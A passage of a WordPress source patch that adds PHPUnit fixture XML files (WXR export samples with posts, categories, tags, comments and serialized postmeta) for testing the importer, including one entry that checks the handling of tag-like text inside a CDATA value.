+		<category domain="post_tag" nicename="tag2"><![CDATA[Tag2]]></category>
+		<category domain="post_tag" nicename="tag3"><![CDATA[Tag3]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Foo-child</title>
+		<link>http://localhost/?p=15</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:07 +0000</pubDate>
+		<dc:creator>editor</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=15</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the Foo category that is a child of Bar.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>15</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:07</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:07</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>foo-child</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo-bar"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[editor]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Top-level Foo</title>
+		<link>http://localhost/?p=17</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:32 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=17</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the top-level Foo category.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>17</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:32</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:32</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>top-level-foo</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Non-standard post format</title>
+		<link>http://localhost/?p=19</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:52 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=19</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an aside.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>19</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:52</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:52</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>non-standard-post-format</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_format" nicename="post-format-aside"><![CDATA[Aside]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Many Categories</title>
+		<link>http://localhost/?p=22</link>
+		<pubDate>Tue, 18 Jan 2011 07:55:01 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=22</guid>
+		<description></description>
+		<content:encoded><![CDATA[This post has a lot of categories.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>22</wp:post_id>
+		<wp:post_date>2011-01-18 07:55:01</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:55:01</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>many-categories</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="category" nicename="bar"><![CDATA[Bar]]></category>
+		<category domain="category" nicename="beta"><![CDATA[BETA]]></category>
+		<category domain="category" nicename="chi"><![CDATA[CHI]]></category>
+		<category domain="category" nicename="delta"><![CDATA[dElta]]></category>
+		<category domain="category" nicename="epsilon"><![CDATA[epsilon]]></category>
+		<category domain="category" nicename="eta"><![CDATA[eta]]></category>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<category domain="category" nicename="gamma"><![CDATA[gaMMA]]></category>
+		<category domain="category" nicename="iota"><![CDATA[IOTA]]></category>
+		<category domain="category" nicename="kappa"><![CDATA[Kappa]]></category>
+		<category domain="category" nicename="lambda"><![CDATA[lambda]]></category>
+		<category domain="category" nicename="mu"><![CDATA[MU]]></category>
+		<category domain="category" nicename="nu"><![CDATA[Nu]]></category>
+		<category domain="category" nicename="omega"><![CDATA[Omega]]></category>
+		<category domain="category" nicename="omicron"><![CDATA[Omicron]]></category>
+		<category domain="category" nicename="phi"><![CDATA[Phi]]></category>
+		<category domain="category" nicename="pi"><![CDATA[Pi]]></category>
+		<category domain="category" nicename="psi"><![CDATA[Psi]]></category>
+		<category domain="category" nicename="rho"><![CDATA[Rho]]></category>
+		<category domain="category" nicename="sigma"><![CDATA[Sigma]]></category>
+		<category domain="category" nicename="tau"><![CDATA[tAu]]></category>
+		<category domain="category" nicename="theta"><![CDATA[THeta]]></category>
+		<category domain="category" nicename="upsilon"><![CDATA[uPsIlOn]]></category>
+		<category domain="category" nicename="xi"><![CDATA[Xi]]></category>
+		<category domain="category" nicename="zeta"><![CDATA[zeta]]></category>
+		<category domain="category" nicename="eternity"><![CDATA[远征手记]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml	(revision 56912)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>122</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value>a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}</wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml	(revision 56912)
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>10</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value><![CDATA[a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>contains-html</wp:meta_key>
+<wp:meta_value><![CDATA[<pre>some html</pre>]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>evil</wp:meta_key>
+<wp:meta_value><![CDATA[<wp:meta_value>evil</wp:meta_value>]]></wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/test-utw-post-meta-import.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/test-utw-post-meta-import.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/test-utw-post-meta-import.xml	(revision 56912)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with UTW Postmeta</title>
+<link>http://test.wordpress.org/postmeta-utw</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta-utw</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>150</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>test</wp:meta_key>
+<wp:meta_value>a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}}</wp:meta_value>
+</wp:postmeta>
+</item>
+</channel>
+</rss>
+
Index: /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.0.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.0.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/valid-wxr-1.0.xml	(revision 56912)
@@ -0,0 +1,282 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log in to that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/3.0.1" created="2010-10-20 14:22"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Export Dataset</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+		<wp:category><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+		<wp:category><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[parent]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+		<wp:category><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[child]]></wp:cat_name></wp:category>
+			<wp:tag><wp:tag_slug>chicken</wp:tag_slug><wp:tag_name><![CDATA[chicken]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>face</wp:tag_slug><wp:tag_name><![CDATA[face]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>news</wp:tag_slug><wp:tag_name><![CDATA[news]]></wp:tag_name></wp:tag>
+		<wp:tag><wp:tag_slug>roar</wp:tag_slug><wp:tag_name><![CDATA[roar]]></wp:tag_name></wp:tag>
+		
+	<generator>http://wordpress.org/?v=3.0.1</generator>
+
+		<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:comment>
+		<wp:comment_id>1</wp:comment_id>
+		<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+		<wp:comment_author_email></wp:comment_author_email>
+		<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+		<wp:comment_author_IP></wp:comment_author_IP>
+		<wp:comment_date>2010-10-20 14:08:20</wp:comment_date>
+		<wp:comment_date_gmt>2010-10-20 14:08:20</wp:comment_date_gmt>
+		<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+		<wp:comment_approved>1</wp:comment_approved>
+		<wp:comment_type></wp:comment_type>
+		<wp:comment_parent>0</wp:comment_parent>
+		<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+			</item>
+		<item>
+		<title>About</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Wed, 20 Oct 2010 14:08:20 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2010-10-20 14:08:20</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:08:20</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>about</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_wp_page_template</wp:meta_key>
+		<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Alpha post</title>
+		<link>http://localhost/?p=4</link>
+		<pubDate>Wed, 20 Oct 2010 14:09:37 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category><![CDATA[alpha]]></category>
+
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+
+		<category domain="tag"><![CDATA[news]]></category>
+
+		<category domain="tag" nicename="news"><![CDATA[news]]></category>
+
+		<category domain="tag"><![CDATA[roar]]></category>
+
+		<category domain="tag" nicename="roar"><![CDATA[roar]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in roar, news]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2010-10-20 14:09:37</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:09:37</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>alpha-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583778]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child post</title>
+		<link>http://localhost/?p=6</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<category domain="tag"><![CDATA[chicken]]></category>
+
+		<category domain="tag" nicename="chicken"><![CDATA[chicken]]></category>
+
+		<category><![CDATA[child]]></category>
+
+		<category domain="category" nicename="child"><![CDATA[child]]></category>
+
+		<category domain="tag"><![CDATA[face]]></category>
+
+		<category domain="tag" nicename="face"><![CDATA[face]]></category>
+
+		<guid isPermaLink="false">http://localhost/?p=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged in face, chicken]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:09</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583809]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_wp_old_slug</wp:meta_key>
+		<wp:meta_value><![CDATA[]]></wp:meta_value>
+		</wp:postmeta>
+							</item>
+		<item>
+		<title>Child page</title>
+		<link>http://localhost/?page_id=8</link>
+		<pubDate>Wed, 20 Oct 2010 14:10:35 +0000</pubDate>
+		<dc:creator><![CDATA[admin]]></dc:creator>
+		
+		<guid isPermaLink="false">http://localhost/?page_id=8</guid>
+		<description></description>
+		<content:encoded><![CDATA[Should have lower ID than parent!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>8</wp:post_id>
+		<wp:post_date>2010-10-20 14:10:35</wp:post_date>
+		<wp:post_date_gmt>2010-10-20 14:10:35</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>closed</wp:ping_status>
+		<wp:post_name>child-post</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>10</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+								<wp:postmeta>
+		<wp:meta_key>_edit_last</wp:meta_key>
+		<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+				<wp:postmeta>
+		<wp:meta_key>_edit_lock</wp:meta_key>
+		<wp:meta_value><![CDATA[1287583856]]></wp:meta_value>
